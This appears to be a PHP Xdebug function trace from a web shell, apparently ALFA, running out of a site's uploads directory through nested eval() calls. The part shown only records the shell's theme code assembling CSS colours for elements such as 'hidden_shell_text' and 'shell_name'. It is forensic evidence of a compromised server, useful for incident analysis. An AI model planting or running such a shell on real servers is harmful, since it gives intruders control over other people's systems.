7 165 0 0.074140 3448672 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 165 1 0.074156 3448808
7 165 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.header_drive:hover{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'header_show_all'
7 166 0 0.074207 3448672 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'header_show_all'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#00FF00'
7 166 1 0.074233 3448672
7 166 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.header_show_all{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'disable_functions'
7 167 0 0.074297 3448672 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'disable_functions'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#ff0000'
7 167 1 0.074324 3448672
7 167 R '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.disable_functions{color: #ff0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'footer_text'
7 168 0 0.074372 3448800 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'footer_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#27979B'
7 168 1 0.074398 3448800
7 168 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.footer_text{color: #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'menu_options'
7 169 0 0.074455 3448800 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'menu_options'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#27979B'
7 169 1 0.074481 3448800
7 169 R '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#27979B'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.menu_options{color: #27979B;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'menu_options:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.menu_options:hover'
7 170 0 0.074542 3448800 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'menu_options:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
7 170 1 0.074577 3448800
7 170 R '#646464'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#646464'
7 171 0 0.074602 3448800 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#646464' 'background-color: {color};font-weight: unset;'
7 171 1 0.074624 3448976
7 171 R 'background-color: #646464;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #646464;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'options_list'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.content_options_holder .header center a'
7 172 0 0.074697 3448968 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'options_list'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
7 172 1 0.074731 3448968
7 172 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#00FF00'
7 173 0 0.074756 3448968 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#00FF00' 'color: {color};'
7 173 1 0.074772 3449104
7 173 R 'color: #00FF00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #00FF00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.content_options_holder .header center a{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'options_list:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.content_options_holder .header center a:hover'
7 174 0 0.074839 3448928 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'options_list:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
7 174 1 0.074872 3448928
7 174 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 175 0 0.074897 3448928 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 175 1 0.074914 3449064
7 175 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'options_list_header'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.txtfont_header'
7 176 0 0.074979 3449056 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'options_list_header'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
7 176 1 0.075011 3449056
7 176 R '#59cc33'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#59cc33'
7 177 0 0.075036 3449056 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#59cc33' 'color: {color};'
7 177 1 0.075052 3449192
7 177 R 'color: #59cc33;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #59cc33;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.txtfont_header{color: #59cc33;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'options_list_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.txtfont,.tbltxt'
7 178 0 0.075115 3449056 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'options_list_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
7 178 1 0.075149 3449056
7 178 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 179 0 0.075180 3449056 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 179 1 0.075196 3449192
7 179 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'Alfa+'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.alfa_plus'
7 180 0 0.075259 3449056 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'Alfa+'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
7 180 1 0.075292 3449056
7 180 R '#06ff0f'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#06ff0f'
7 181 0 0.075316 3449056 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#06ff0f' 'color: {color};font-weight: unset;'
7 181 1 0.075333 3449216
7 181 R 'color: #06ff0f;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #06ff0f;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'hidden_shell_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '#hidden_sh a'
7 182 0 0.075409 3449080 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'hidden_shell_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
7 182 1 0.075442 3449080
7 182 R '#00FF00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#00FF00'
7 183 0 0.075467 3449080 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#00FF00' 'color: {color};'
7 183 1 0.075483 3449216
7 183 R 'color: #00FF00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #00FF00;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '#hidden_sh a{color: #00FF00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'hidden_shell_version'
7 184 0 0.075535 3449312 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'hidden_shell_version'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#ff0000'
7 184 1 0.075562 3449312
7 184 R '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#ff0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.hidden_shell_version{color: #ff0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'shell_name'
7 185 0 0.075612 3449312 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'shell_name'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#FF0000'
7 185 1 0.075639 3449312
7 185 R '#FF0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#FF0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.shell_name{color: #FF0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_row:hover'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.main tr:hover'
7 186 0 0.075698 3449312 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'main_row:hover'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
7 186 1 0.075731 3449312
7 186 R '#646464'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#646464'
7 187 0 0.075770 3449312 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#646464' 'background-color: {color};'
7 187 1 0.075796 3449464
7 187 R 'background-color: #646464;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #646464;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.main tr:hover{background-color: #646464;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_header'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.main th'
7 188 0 0.075872 3449328 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'main_header'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
7 188 1 0.075905 3449328
7 188 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 189 0 0.075930 3449328 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 189 1 0.075947 3449464
7 189 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.main th{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_name'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.main .main_name'
7 190 0 0.076018 3449312 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'main_name'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
7 190 1 0.076052 3449312
7 190 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 191 0 0.076077 3449312 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};font-weight: unset;'
7 191 1 0.076094 3449472
7 191 R 'color: #FFFFFF;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;font-weight: unset;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_size'
7 192 0 0.076148 3449336 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_size'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
7 192 1 0.076175 3449336
7 192 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_size{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_modify'
7 193 0 0.076234 3449336 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_modify'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
7 193 1 0.076260 3449336
7 193 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_modify{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_owner_group'
7 194 0 0.076309 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_owner_group'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#67ABDF'
7 194 1 0.076335 3449592
7 194 R '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#67ABDF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_owner_group{color: #67ABDF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_green_perm'
7 195 0 0.076389 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_green_perm'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#25ff00'
7 195 1 0.076416 3449592
7 195 R '#25ff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#25ff00'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_green_perm{color: #25ff00;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_red_perm'
7 196 0 0.076464 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_red_perm'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#FF0000'
7 196 1 0.076490 3449592
7 196 R '#FF0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#FF0000'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_red_perm{color: #FF0000;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_white_perm'
7 197 0 0.076538 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'main_white_perm'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#FFFFFF'
7 197 1 0.076564 3449592
7 197 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.main_white_perm{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'beetween_perms'
7 198 0 0.076636 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 1 'beetween_perms'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = '#FFFFFF'
7 198 1 0.076667 3449592
7 198 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 630 $value = '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 631 $css .= '.beetween_perms{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'main_actions'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.main .actions'
7 199 0 0.076727 3449592 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'main_actions'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
7 199 1 0.076759 3449592
7 199 R '#FFFFFF'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#FFFFFF'
7 200 0 0.076783 3449592 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#FFFFFF' 'color: {color};'
7 200 1 0.076868 3449728
7 200 R 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #FFFFFF;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.main .actions{color: #FFFFFF;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'minimize_editor_background'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.minimized-wrapper'
7 201 0 0.076943 3449568 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'minimize_editor_background'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
7 201 1 0.076979 3449568
7 201 R '#0e304a'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0e304a'
7 202 0 0.077004 3449568 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0e304a' 'background-color: {color};'
7 202 1 0.077026 3449720
7 202 R 'background-color: #0e304a;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: #0e304a;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.minimized-wrapper{background-color: #0e304a;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'minimize_editor_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.minimized-text'
7 203 0 0.077092 3449584 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'minimize_editor_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
7 203 1 0.077126 3449584
7 203 R '#f5deb3'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#f5deb3'
7 204 0 0.077151 3449584 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#f5deb3' 'color: {color};'
7 204 1 0.077167 3449720
7 204 R 'color: #f5deb3;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'color: #f5deb3;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.minimized-text{color: #f5deb3;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_border'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor-explorer,.editor-modal'
7 205 0 0.077232 3449824 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_border'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
7 205 1 0.077266 3449824
7 205 R '#0e304a'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#0e304a'
7 206 0 0.077291 3449824 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#0e304a' 'border: 2px solid {color};'
7 206 1 0.077308 3449976
7 206 R 'border: 2px solid #0e304a;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'border: 2px solid #0e304a;'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_background'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor-explorer,.editor-modal'
7 207 0 0.077375 3449840 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_background'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
7 207 1 0.077410 3449840
7 207 R 'rgba(0, 1, 23, 0.94)'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = 'rgba(0, 1, 23, 0.94)'
7 208 0 0.077437 3449840 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' 'rgba(0, 1, 23, 0.94)' 'background-color: {color};'
7 208 1 0.077454 3450016
7 208 R 'background-color: rgba(0, 1, 23, 0.94);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: rgba(0, 1, 23, 0.94);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_header_background'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor-header'
7 209 0 0.077524 3449864 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_header_background'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
7 209 1 0.077561 3449864
7 209 R 'rgba(21, 66, 88, 0.93)'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = 'rgba(21, 66, 88, 0.93)'
7 210 0 0.077589 3449864 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' 'rgba(21, 66, 88, 0.93)' 'background-color: {color};'
7 210 1 0.077606 3450040
7 210 R 'background-color: rgba(21, 66, 88, 0.93);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 $code = 'background-color: rgba(21, 66, 88, 0.93);'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 637 $css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 628 $key = 'editor_header_text'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 634 $k = '.editor-path'
7 211 0 0.077689 3449864 alfa_getColor 1 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 1 'editor_header_text'
7 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 618 $target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
7 211 1 0.077722 3449864
7 211 R '#00ff7f'
6 A /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 635 $color = '#00ff7f'
7 212 0 0.077747 3449864 str_replace 0 /var/www/html/uploads/alfa.php(14) : eval()'d code(1) : eval()'d code 636 3 '{color}' '#00ff7f' 'color: {color};'
7 212 1 0.077764 3450000
7 212 R 'color: #00ff7f;'
